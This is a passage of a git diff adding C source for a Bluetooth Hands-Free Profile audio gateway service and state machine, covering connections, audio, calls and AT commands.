audio_ctrl_init(); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s: failed to start audio control channel", __func__); + return ret; + } + + return ret; +} + +static void hfp_ag_cleanup(void) +{ + audio_ctrl_cleanup(); +} + +static bt_status_t hfp_ag_startup(profile_on_startup_t cb) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STARTUP, NULL); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.func = (void*)cb; + + return hfp_ag_send_message(msg); +} + +static bt_status_t hfp_ag_shutdown(profile_on_shutdown_t cb) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_SHUTDOWN, NULL); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.func = (void*)cb; + + return hfp_ag_send_message(msg); +} + +static void hfp_ag_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_HFP_OFFLOADING: + g_ag_service.offloading = msg->data.valuebool; + break; + case PROFILE_EVT_REMOTE_DETACH: { + bt_instance_t* ins = msg->data.data; + + if (ins->hfp_ag_cookie) { + BT_LOGD("%s PROFILE_EVT_REMOTE_DETACH", __func__); + hfp_ag_unregister_callbacks((void**)&ins, ins->hfp_ag_cookie); + ins->hfp_ag_cookie = NULL; + } + break; + } + default: + break; + } +} + +static int hfp_ag_get_state(void) +{ + return 1; +} + +static void* hfp_ag_register_callbacks(void* remote, const hfp_ag_callbacks_t* callbacks) +{ + if (!g_ag_service.started) + return NULL; + + return bt_remote_callbacks_register(g_ag_service.callbacks, remote, (void*)callbacks); +} + +static bool hfp_ag_unregister_callbacks(void** remote, void* cookie) +{ + if (!g_ag_service.started) + return false; + + return bt_remote_callbacks_unregister(g_ag_service.callbacks, remote, cookie); +} + +static bool hfp_ag_is_connected(bt_address_t* addr) +{ + pthread_mutex_lock(&g_ag_service.device_lock); + ag_device_t* device = find_ag_device_by_addr(addr); + + if (!device) { + pthread_mutex_unlock(&g_ag_service.device_lock); + return false; + } + + bool connected = ag_state_machine_get_state(device->agsm) >= HFP_AG_STATE_CONNECTED; + pthread_mutex_unlock(&g_ag_service.device_lock); + + return connected; +} + +static bool hfp_ag_is_audio_connected(bt_address_t* addr) +{ + pthread_mutex_lock(&g_ag_service.device_lock); + ag_device_t* device = find_ag_device_by_addr(addr); + + if (!device) { + pthread_mutex_unlock(&g_ag_service.device_lock); + return false; + } + + bool connected = ag_state_machine_get_state(device->agsm) == HFP_AG_STATE_AUDIO_CONNECTED; + pthread_mutex_unlock(&g_ag_service.device_lock); + + return connected; +} + +static profile_connection_state_t hfp_ag_get_connection_state(bt_address_t* addr) +{ + ag_device_t* device = find_ag_device_by_addr(addr); + profile_connection_state_t conn_state; + uint32_t state; + + if (!device) + return PROFILE_STATE_DISCONNECTED; + + pthread_mutex_lock(&g_ag_service.device_lock); + state = ag_state_machine_get_state(device->agsm); + if (state == HFP_AG_STATE_DISCONNECTED) + conn_state = PROFILE_STATE_DISCONNECTED; + else if (state == HFP_AG_STATE_CONNECTING) + conn_state = PROFILE_STATE_CONNECTING; + else if (state == HFP_AG_STATE_DISCONNECTING) + conn_state = PROFILE_STATE_DISCONNECTING; + else + conn_state = PROFILE_STATE_CONNECTED; + pthread_mutex_unlock(&g_ag_service.device_lock); + + return conn_state; +} + +static bt_status_t hfp_ag_connect(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (get_current_connnection_cnt() >= g_ag_service.max_connections) + return BT_STATUS_NO_RESOURCES; + + return hfp_ag_send_event(addr, AG_CONNECT); +} + +static bt_status_t hfp_ag_disconnect(bt_address_t* addr) +{ + CHECK_ENABLED(); + profile_connection_state_t state = hfp_ag_get_connection_state(addr); + if (state == PROFILE_STATE_DISCONNECTED || state == PROFILE_STATE_DISCONNECTING) + return BT_STATUS_FAIL; + + return hfp_ag_send_event(addr, AG_DISCONNECT); +} + +static bt_status_t hfp_ag_connect_audio(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_ag_is_connected(addr) || hfp_ag_is_audio_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_ag_send_event(addr, AG_CONNECT_AUDIO); +} + +static bt_status_t hfp_ag_disconnect_audio(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_ag_is_audio_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_ag_send_event(addr, AG_DISCONNECT_AUDIO); +} + +static bt_status_t hfp_ag_start_virtual_call(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_ag_is_connected(addr) || hfp_ag_is_audio_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_ag_send_event(addr, AG_START_VIRTUAL_CALL); +} + +static bt_status_t hfp_ag_stop_virtual_call(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_ag_is_audio_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_ag_send_event(addr, AG_STOP_VIRTUAL_CALL); +} + +static bt_status_t hfp_ag_start_voice_recognition(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_ag_is_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_ag_send_event(addr, AG_VOICE_RECOGNITION_START); +} + +static bt_status_t hfp_ag_stop_voice_recognition(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_ag_is_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_ag_send_event(addr, AG_VOICE_RECOGNITION_STOP); +} + +bt_status_t hfp_ag_phone_state_change(bt_address_t* addr, uint8_t num_active, uint8_t num_held, + hfp_ag_call_state_t call_state, hfp_call_addrtype_t type, + const char* number, const char* name) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_PHONE_STATE_CHANGE, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = num_active; + msg->data.valueint2 = num_held; + msg->data.valueint3 = call_state; + msg->data.valueint4 = type; + AG_MSG_ADD_STR(msg, 1, number, strlen(number)); + AG_MSG_ADD_STR(msg, 2, name, strlen(name)); + + return hfp_ag_send_message(msg); +} + +bt_status_t hfp_ag_device_status_changed(bt_address_t* addr, hfp_network_state_t network, + hfp_roaming_state_t roam, uint8_t signal, uint8_t battery) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_DEVICE_STATUS_CHANGED, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = network; + msg->data.valueint2 = roam; + msg->data.valueint3 = signal; + msg->data.valueint4 = battery; + + return hfp_ag_send_message(msg); +} + +bt_status_t hfp_ag_volume_control(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_SET_VOLUME, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = type; + msg->data.valueint2 = volume; + + return hfp_ag_send_message(msg); +} + +bt_status_t hfp_ag_dial_result(uint8_t result) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_DIALING_RESULT, NULL); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = result; + + return hfp_ag_send_message(msg); +} + +bt_status_t hfp_ag_send_at_command(bt_address_t* addr, const char* at_command) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_SEND_AT_COMMAND, addr); + if (!msg) + return BT_STATUS_NOMEM; + + AG_MSG_ADD_STR(msg, 1, at_command, strlen(at_command)); + + return hfp_ag_send_message(msg); +} + +bt_status_t hfp_ag_send_vendor_specific_at_command(bt_address_t* addr, const char* command, const char* value) +{ + if (!command || !value) + return BT_STATUS_PARM_INVALID; + + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_SEND_VENDOR_SPECIFIC_AT_COMMAND, addr); + if (!msg) + return BT_STATUS_NOMEM; + + AG_MSG_ADD_STR(msg, 1, command, strlen(command)); + AG_MSG_ADD_STR(msg, 2, value, strlen(value)); + + return hfp_ag_send_message(msg); +} + +bt_status_t hfp_ag_send_clcc_response(bt_address_t* addr, uint32_t index, hfp_call_direction_t dir, + hfp_ag_call_state_t state, hfp_call_mode_t mode, hfp_call_mpty_type_t mpty, + hfp_call_addrtype_t type, const char* number) +{ + return bt_sal_hfp_ag_clcc_response(addr, index, dir, state, mode, mpty, type, number); +} + +static const hfp_ag_interface_t agInterface = { + .size = sizeof(agInterface), + .register_callbacks = hfp_ag_register_callbacks, + .unregister_callbacks = hfp_ag_unregister_callbacks, + .is_connected = hfp_ag_is_connected, + .is_audio_connected = hfp_ag_is_audio_connected, + .get_connection_state = hfp_ag_get_connection_state, + .connect = hfp_ag_connect, + .disconnect = hfp_ag_disconnect, + .connect_audio = hfp_ag_connect_audio, + .disconnect_audio = hfp_ag_disconnect_audio, + .start_virtual_call = hfp_ag_start_virtual_call, + .stop_virtual_call = hfp_ag_stop_virtual_call, + .start_voice_recognition = hfp_ag_start_voice_recognition, + .stop_voice_recognition = hfp_ag_stop_voice_recognition, + .phone_state_change = hfp_ag_phone_state_change, + .device_status_changed = hfp_ag_device_status_changed, + .volume_control = hfp_ag_volume_control, + .dial_response = hfp_ag_dial_result, + .send_at_command = hfp_ag_send_at_command, + .send_vendor_specific_at_command = hfp_ag_send_vendor_specific_at_command, + .send_clcc_response = hfp_ag_send_clcc_response, +}; + +static const void* get_ag_profile_interface(void) +{ + return &agInterface; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +void ag_service_notify_connection_state_changed(bt_address_t* addr, profile_connection_state_t state) +{ + BT_LOGD("%s", __FUNCTION__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, connection_state_cb, addr, state); +} + +void ag_service_notify_audio_state_changed(bt_address_t* addr, hfp_audio_state_t state) +{ + BT_LOGD("%s", __FUNCTION__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, audio_state_cb, addr, state); +} + +void ag_service_notify_vr_state_changed(bt_address_t* addr, bool started) +{ + BT_LOGD("%s", __FUNCTION__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, vr_cmd_cb, addr, started); +} + +void ag_service_notify_hf_battery_update(bt_address_t* addr, uint8_t value) +{ + BT_LOGD("%s", __FUNCTION__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, hf_battery_update_cb, addr, value); +} + +void ag_service_notify_volume_changed(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + BT_LOGD("%s", __func__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, volume_control_cb, addr, type, volume); +} + +void ag_service_notify_call_answered(bt_address_t* addr) +{ + BT_LOGD("%s", __func__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, answer_call_cb, addr); +} + +void ag_service_notify_call_rejected(bt_address_t* addr) +{ + BT_LOGD("%s", __func__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, reject_call_cb, addr); +} + +void ag_service_notify_call_hangup(bt_address_t* addr) +{ + BT_LOGD("%s", __func__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, hangup_call_cb, addr); +} + +void ag_service_notify_call_dial(bt_address_t* addr, const char* number) +{ + BT_LOGD("%s", __func__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, dial_call_cb, addr, number); +} + +void ag_service_notify_cmd_received(bt_address_t* addr, const char* at_cmd) +{ + BT_LOGD("%s", __func__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, at_cmd_cb, addr, at_cmd); +} + +void ag_service_notify_vendor_specific_cmd(bt_address_t* addr, const char* command, uint16_t company_id, const char* value) +{ + BT_LOGD("%s, command:%s, value:%s", __func__, command, value); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, vender_specific_at_cmd_cb, addr, command, company_id, value); +} + +void ag_service_notify_clcc_cmd(bt_address_t* addr) +{ + BT_LOGD("%s", __func__); + AG_CALLBACK_FOREACH(g_ag_service.callbacks, clcc_cmd_cb, addr); +} +void hfp_ag_on_connection_state_changed(bt_address_t* addr, profile_connection_state_t state, + profile_connection_reason_t reason, uint32_t remote_features) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_CONNECTION_STATE_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = state; + msg->data.valueint2 = reason; + msg->data.valueint3 = remote_features; + hfp_ag_send_message(msg); +} + +void hfp_ag_on_audio_state_changed(bt_address_t* addr, hfp_audio_state_t state, uint16_t sco_connection_handle) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_AUDIO_STATE_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = state; + msg->data.valueint2 = sco_connection_handle; + hfp_ag_send_message(msg); +} + +void hfp_ag_on_codec_changed(bt_address_t* addr, hfp_codec_config_t* config) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_CODEC_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = config->codec; + hfp_ag_send_message(msg); +} + +void hfp_ag_on_volume_changed(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_VOLUME_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = type; + msg->data.valueint2 = volume; + hfp_ag_send_message(msg); +} + +void hfp_ag_on_received_cind_request(bt_address_t* addr) +{ + hfp_ag_send_event(addr, AG_STACK_EVENT_AT_CIND_REQUEST); +} + +void hfp_ag_on_received_clcc_request(bt_address_t* addr) +{ + hfp_ag_send_event(addr, AG_STACK_EVENT_AT_CLCC_REQUEST); +} + +void hfp_ag_on_received_cops_request(bt_address_t* addr) +{ + hfp_ag_send_event(addr, AG_STACK_EVENT_AT_COPS_REQUEST); +} + +void hfp_ag_on_voice_recognition_state_changed(bt_address_t* addr, bool started) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_VR_STATE_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = started; + hfp_ag_send_message(msg); +} + +void hfp_ag_on_remote_battery_level_update(bt_address_t* addr, uint8_t value) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_BATTERY_UPDATE, addr); + if (!msg) + return; + + msg->data.valueint1 = value; + hfp_ag_send_message(msg); +} + +void hfp_ag_on_answer_call(bt_address_t* addr) +{ + hfp_ag_send_event(addr, AG_STACK_EVENT_ANSWER_CALL); +} + +void hfp_ag_on_reject_call(bt_address_t* addr) +{ + hfp_ag_send_event(addr, AG_STACK_EVENT_REJECT_CALL); +} + +void hfp_ag_on_hangup_call(bt_address_t* addr) +{ + hfp_ag_send_event(addr, AG_STACK_EVENT_HANGUP_CALL); +} + +void hfp_ag_on_received_at_cmd(bt_address_t* addr, char* at_string, uint16_t at_length) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_AT_COMMAND, addr); + if (!msg) + return; + + AG_MSG_ADD_STR(msg, 1, at_string, at_length); + hfp_ag_send_message(msg); +} + +void hfp_ag_on_audio_connect_request(bt_address_t* addr) +{ + hfp_ag_send_event(addr, AG_STACK_EVENT_AUDIO_REQ); +} + +void hfp_ag_on_dial_number(bt_address_t* addr, char* number, uint32_t length) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_DIAL_NUMBER, addr); + if (!msg) + return; + + AG_MSG_ADD_STR(msg, 1, number, length); + hfp_ag_send_message(msg); +} + +void hfp_ag_on_dial_memory(bt_address_t* addr, uint32_t location) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_DIAL_MEMORY, addr); + if (!msg) + return; + + msg->data.valueint1 = location; + hfp_ag_send_message(msg); +} + +void hfp_ag_on_call_control(bt_address_t* addr, hfp_call_control_t control) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_CALL_CONTROL, addr); + if (!msg) + return; + + msg->data.valueint1 = control; + hfp_ag_send_message(msg); +} + +void hfp_ag_on_received_dtmf(bt_address_t* addr, char tone) +{ +} + +void hfp_ag_on_received_manufacture_request(bt_address_t* addr) +{ + bt_sal_hfp_ag_manufacture_id_response(addr, "xiaomi", strlen("xiaomi")); +} + +void hfp_ag_on_received_model_id_request(bt_address_t* addr) +{ + bt_sal_hfp_ag_model_id_response(addr, "2109119BC", strlen("2109119BC")); +} + +void hfp_ag_on_received_nrec_request(bt_address_t* addr, uint8_t nrec) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_STACK_EVENT_NREC_REQ, addr); + if (!msg) + return; + + msg->data.valueint1 = nrec; + hfp_ag_send_message(msg); +} + +static const profile_service_t hfp_ag_service = { + .auto_start = true, + .name = PROFILE_HFP_AG_NAME, + .id = PROFILE_HFP_AG, + .transport = BT_TRANSPORT_BREDR, + .uuid = BT_UUID_DECLARE_16(BT_UUID_HFP_AG), + .init = hfp_ag_init, + .startup = hfp_ag_startup, + .shutdown = hfp_ag_shutdown, + .process_msg = hfp_ag_process_msg, + .get_state = hfp_ag_get_state, + .get_profile_interface = get_ag_profile_interface, + .cleanup = hfp_ag_cleanup, + .dump = NULL, +}; + +void register_hfp_ag_service(void) +{ + register_service(&hfp_ag_service); +} + +uint32_t hfp_ag_get_local_features(void) +{ + return ag_support_features; +} diff --git a/service/profiles/hfp_ag/hfp_ag_state_machine.c b/service/profiles/hfp_ag/hfp_ag_state_machine.c new file mode 100644 index 0000000000000000000000000000000000000000..4afa0232a373388674f61c974e42adee92802e63 --- /dev/null +++ b/service/profiles/hfp_ag/hfp_ag_state_machine.c @@ -0,0 +1,1456 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "ag_stm" + +#include <stdbool.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "audio_control.h" +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_dfx.h" +#include "bt_hfp_ag.h" +#include "bt_list.h" +#include "bt_utils.h" +#include "bt_vendor.h" +#include "hci_parser.h" +#include "hfp_ag_event.h" +#include "hfp_ag_service.h" +#include "hfp_ag_state_machine.h" +#include "hfp_ag_tele_service.h" +#include "media_system.h" +#include "power_manager.h" +#include "sal_hfp_ag_interface.h" +#include "sal_interface.h" +#include "utils/log.h" + +#define HFP_AG_RETRY_MAX 1 +#define HFP_FAKE_NUMBER "10000000" + +typedef struct _ag_state_machine { + state_machine_t sm; + bt_address_t addr; + uint16_t sco_conn_handle; + uint32_t remote_features; + bool recognition_active; + bool virtual_call_started; + bool offloading; + void* service; + uint8_t codec; + uint8_t spk_volume; + uint8_t mic_volume; + uint8_t retry_cnt; + int media_volume; + void* volume_listener; + uint32_t set_volume_cnt; + pending_state_t pending; + service_timer_t* connect_timer; + service_timer_t* audio_timer; + service_timer_t* dial_out_timer; + service_timer_t* offload_timer; + service_timer_t* retry_timer; +} ag_state_machine_t; + +typedef struct vendor_specific_at_prefix { + char* at_prefix; + uint16_t company_id; +} vendor_specific_at_prefix_t; + +static const vendor_specific_at_prefix_t company_id_map[] = { + { "+XIAOMI", BLUETOOTH_COMPANY_ID_XIAOMI }, + { "+ANDROID", BLUETOOTH_COMPANY_ID_GOOGLE }, +}; + +#define AG_TIMEOUT 10000 +#define AG_OFFLOAD_TIMEOUT 500 +#define AG_STM_DEBUG 1 +#if AG_STM_DEBUG +static void ag_stm_trans_debug(state_machine_t* sm, bt_address_t* addr, const char* action); +static void ag_stm_event_debug(state_machine_t* sm, bt_address_t* addr, uint32_t event); +static const char* stack_event_to_string(hfp_ag_event_t event); + +#define AG_DBG_ENTER(__sm, __addr) ag_stm_trans_debug(__sm, __addr, "Enter") +#define AG_DBG_EXIT(__sm, __addr) ag_stm_trans_debug(__sm, __addr, "Exit ") +#define AG_DBG_EVENT(__sm, __addr, __event) ag_stm_event_debug(__sm, __addr, __event); +#else +#define AG_DBG_ENTER(__sm, __addr) +#define AG_DBG_EXIT(__sm, __addr) +#define AG_DBG_EVENT(__sm, __addr, __event) +#endif + +extern bt_status_t hfp_ag_send_event(bt_address_t* addr, hfp_ag_event_t evt); +extern bt_status_t hfp_ag_send_message(hfp_ag_msg_t* msg); + +static void disconnected_enter(state_machine_t* sm); +static void disconnected_exit(state_machine_t* sm); +static void connecting_enter(state_machine_t* sm); +static void connecting_exit(state_machine_t* sm); +static void disconnecting_enter(state_machine_t* sm); +static void disconnecting_exit(state_machine_t* sm); +static void connected_enter(state_machine_t* sm); +static void connected_exit(state_machine_t* sm); +static void audio_connecting_enter(state_machine_t* sm); +static void audio_connecting_exit(state_machine_t* sm); +static void audio_on_enter(state_machine_t* sm); +static void audio_on_exit(state_machine_t* sm); +static void audio_disconnecting_enter(state_machine_t* sm); +static void audio_disconnecting_exit(state_machine_t* sm); + +static bool disconnected_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool connecting_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool disconnecting_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool connected_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool audio_connecting_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool audio_on_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool audio_disconnecting_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static void set_virtual_call_started(state_machine_t* sm, bool started); + +static const state_t disconnected_state = { + .state_name = "Disconnected", + .state_value = HFP_AG_STATE_DISCONNECTED, + .enter = disconnected_enter, + .exit = disconnected_exit, + .process_event = disconnected_process_event, +}; + +static const state_t connecting_state = { + .state_name = "Connecting", + .state_value = HFP_AG_STATE_CONNECTING, + .enter = connecting_enter, + .exit = connecting_exit, + .process_event = connecting_process_event, +}; + +static const state_t disconnecting_state = { + .state_name = "Disconnecting", + .state_value = HFP_AG_STATE_DISCONNECTING, + .enter = disconnecting_enter, + .exit = disconnecting_exit, + .process_event = disconnecting_process_event, +}; + +static const state_t connected_state = { + .state_name = "Connected", + .state_value = HFP_AG_STATE_CONNECTED, + .enter = connected_enter, + .exit = connected_exit, + .process_event = connected_process_event, +}; + +static const state_t audio_connecting_state = { + .state_name = "AudioConnecting", + .state_value = HFP_AG_STATE_AUDIO_CONNECTING, + .enter = audio_connecting_enter, + .exit = audio_connecting_exit, + .process_event = audio_connecting_process_event, +}; + +static const state_t audio_on_state = { + .state_name = "AudioOn", + .state_value = HFP_AG_STATE_AUDIO_CONNECTED, + .enter = audio_on_enter, + .exit = audio_on_exit, + .process_event = audio_on_process_event, +}; + +static const state_t audio_disconnecting_state = { + .state_name = "AudioDisconnecting", + .state_value = HFP_AG_STATE_AUDIO_DISCONNECTING, + .enter = audio_disconnecting_enter, + .exit = audio_disconnecting_exit, + .process_event = audio_disconnecting_process_event, +}; + +#if AG_STM_DEBUG +static void ag_stm_trans_debug(state_machine_t* sm, bt_address_t* addr, const char* action) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s State=%s, Peer=[%s]", action, hsm_get_current_state_name(sm), addr_str); +} + +static void ag_stm_event_debug(state_machine_t* sm, bt_address_t* addr, uint32_t event) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGD("ProcessEvent, State=%s, Peer=[%s], Event=%s", hsm_get_current_state_name(sm), + addr_str, stack_event_to_string(event)); +} + +static const char* stack_event_to_string(hfp_ag_event_t event) +{ + static char ag_evt[32] = { 0 }; + + switch (event) { + CASE_RETURN_STR(AG_CONNECT) + CASE_RETURN_STR(AG_DISCONNECT) + CASE_RETURN_STR(AG_CONNECT_AUDIO) + CASE_RETURN_STR(AG_DISCONNECT_AUDIO) + CASE_RETURN_STR(AG_START_VIRTUAL_CALL) + CASE_RETURN_STR(AG_STOP_VIRTUAL_CALL) + CASE_RETURN_STR(AG_VOICE_RECOGNITION_START) + CASE_RETURN_STR(AG_VOICE_RECOGNITION_STOP) + CASE_RETURN_STR(AG_PHONE_STATE_CHANGE) + CASE_RETURN_STR(AG_DEVICE_STATUS_CHANGED) + CASE_RETURN_STR(AG_SET_VOLUME) + CASE_RETURN_STR(AG_SET_INBAND_RING_ENABLE) + CASE_RETURN_STR(AG_DIALING_RESULT) + CASE_RETURN_STR(AG_SEND_AT_COMMAND) + CASE_RETURN_STR(AG_SEND_VENDOR_SPECIFIC_AT_COMMAND) + CASE_RETURN_STR(AG_STARTUP) + CASE_RETURN_STR(AG_SHUTDOWN) + CASE_RETURN_STR(AG_CONNECT_TIMEOUT) + CASE_RETURN_STR(AG_AUDIO_TIMEOUT) + CASE_RETURN_STR(AG_OFFLOAD_START_REQ) + CASE_RETURN_STR(AG_OFFLOAD_STOP_REQ) + CASE_RETURN_STR(AG_OFFLOAD_START_EVT) + CASE_RETURN_STR(AG_OFFLOAD_STOP_EVT) + CASE_RETURN_STR(AG_OFFLOAD_TIMEOUT_EVT) + CASE_RETURN_STR(AG_STACK_EVENT) + CASE_RETURN_STR(AG_STACK_EVENT_AUDIO_REQ) + CASE_RETURN_STR(AG_STACK_EVENT_CONNECTION_STATE_CHANGED) + CASE_RETURN_STR(AG_STACK_EVENT_AUDIO_STATE_CHANGED) + CASE_RETURN_STR(AG_STACK_EVENT_VR_STATE_CHANGED) + CASE_RETURN_STR(AG_STACK_EVENT_CODEC_CHANGED) + CASE_RETURN_STR(AG_STACK_EVENT_VOLUME_CHANGED) + CASE_RETURN_STR(AG_STACK_EVENT_AT_CIND_REQUEST) + CASE_RETURN_STR(AG_STACK_EVENT_AT_CLCC_REQUEST) + CASE_RETURN_STR(AG_STACK_EVENT_AT_COPS_REQUEST) + CASE_RETURN_STR(AG_STACK_EVENT_BATTERY_UPDATE) + CASE_RETURN_STR(AG_STACK_EVENT_ANSWER_CALL) + CASE_RETURN_STR(AG_STACK_EVENT_REJECT_CALL) + CASE_RETURN_STR(AG_STACK_EVENT_HANGUP_CALL) + CASE_RETURN_STR(AG_STACK_EVENT_DIAL_NUMBER) + CASE_RETURN_STR(AG_STACK_EVENT_DIAL_MEMORY) + CASE_RETURN_STR(AG_STACK_EVENT_CALL_CONTROL) + CASE_RETURN_STR(AG_STACK_EVENT_AT_COMMAND) + CASE_RETURN_STR(AG_STACK_EVENT_SEND_DTMF) + CASE_RETURN_STR(AG_STACK_EVENT_NREC_REQ) + default: + snprintf(ag_evt, 32, "UNKNOWN_AG_EVENT:%d", event); + return (const char*)ag_evt; + } +} +#endif + +static bool flag_isset(ag_state_machine_t* agsm, pending_state_t flag) +{ + return (bool)(agsm->pending & flag); +} + +static void flag_set(ag_state_machine_t* agsm, pending_state_t flag) +{ + agsm->pending |= flag; +} + +static void flag_clear(ag_state_machine_t* agsm, pending_state_t flag) +{ + agsm->pending &= ~flag; +} + +static bool at_cmd_check_test(bt_address_t* addr, const char* atcmd) +{ + if (!strcmp(atcmd, "AT+TEST\r\n")) { + bt_sal_hfp_ag_send_at_cmd(addr, "\r\n+TEST:0\r\n", strlen("\r\n+TEST:0\r\n")); + return true; + } + + return false; +} + +static void connect_timeout(service_timer_t* timer, void* data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)data; + BT_DFX_HFP_CONN_ERROR(BT_DFXE_HFP_AG_CONN_TIMEOUT); + + hfp_ag_send_event(&agsm->addr, AG_CONNECT_TIMEOUT); +} + +static void dial_out_timeout(service_timer_t* timer, void* data) +{ + // ag_state_machine_t* agsm = (ag_state_machine_t*)data; + + hfp_ag_dial_result(HFP_ATCMD_RESULT_TIMEOUT); +} + +static uint8_t callstate_to_callsetup(hfp_ag_call_state_t call_state) +{ + switch (call_state) { + case HFP_AG_CALL_STATE_INCOMING: + return HFP_CALLSETUP_INCOMING; + case HFP_AG_CALL_STATE_DIALING: + return HFP_CALLSETUP_OUTGOING; + case HFP_AG_CALL_STATE_ALERTING: + return HFP_CALLSETUP_ALERTING; + default: + return HFP_CALLSETUP_NONE; + } +} + +static void process_cind_request(ag_state_machine_t* agsm) +{ + uint8_t num_active, num_held, call_state; + hfp_ag_cind_resopnse_t resp; + + /* 1. system interface get calls */ + /* 2. get network state */ + /* 3. get battery */ + tele_service_get_network_info(&resp.network, &resp.roam, &resp.signal); + resp.battery = 5; + tele_service_get_phone_state(&num_active, &num_held, &call_state); + resp.call = num_active ? HFP_CALL_CALLS_IN_PROGRESS : HFP_CALL_NO_CALLS_IN_PROGRESS; + resp.call_held = num_held ? HFP_CALLHELD_HELD : HFP_CALLHELD_NONE; + resp.call_setup = callstate_to_callsetup(call_state); + BT_LOGD("AT+CIND=? response"); + bt_sal_hfp_ag_cind_response(&agsm->addr, &resp); +} + +static void update_remote_features(ag_state_machine_t* agsm, uint32_t remote_features) +{ + BT_LOGD("%s, remote features:0x%" PRIu32, __func__, remote_features); + agsm->remote_features = remote_features; +} + +static void disconnected_enter(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_ENTER(sm, &agsm->addr); + if (hsm_get_previous_state(sm)) { + bt_media_remove_listener(agsm->volume_listener); + agsm->spk_volume = 0; + agsm->mic_volume = 0; + agsm->media_volume = INVALID_MEDIA_VOLUME; + agsm->volume_listener = NULL; + agsm->set_volume_cnt = 0; + agsm->virtual_call_started = false; + bt_media_set_anc_enable(true); + bt_pm_conn_close(PROFILE_HFP_AG, &agsm->addr); + flag_clear(agsm, PENDING_DISCONNECT); + ag_service_notify_connection_state_changed(&agsm->addr, 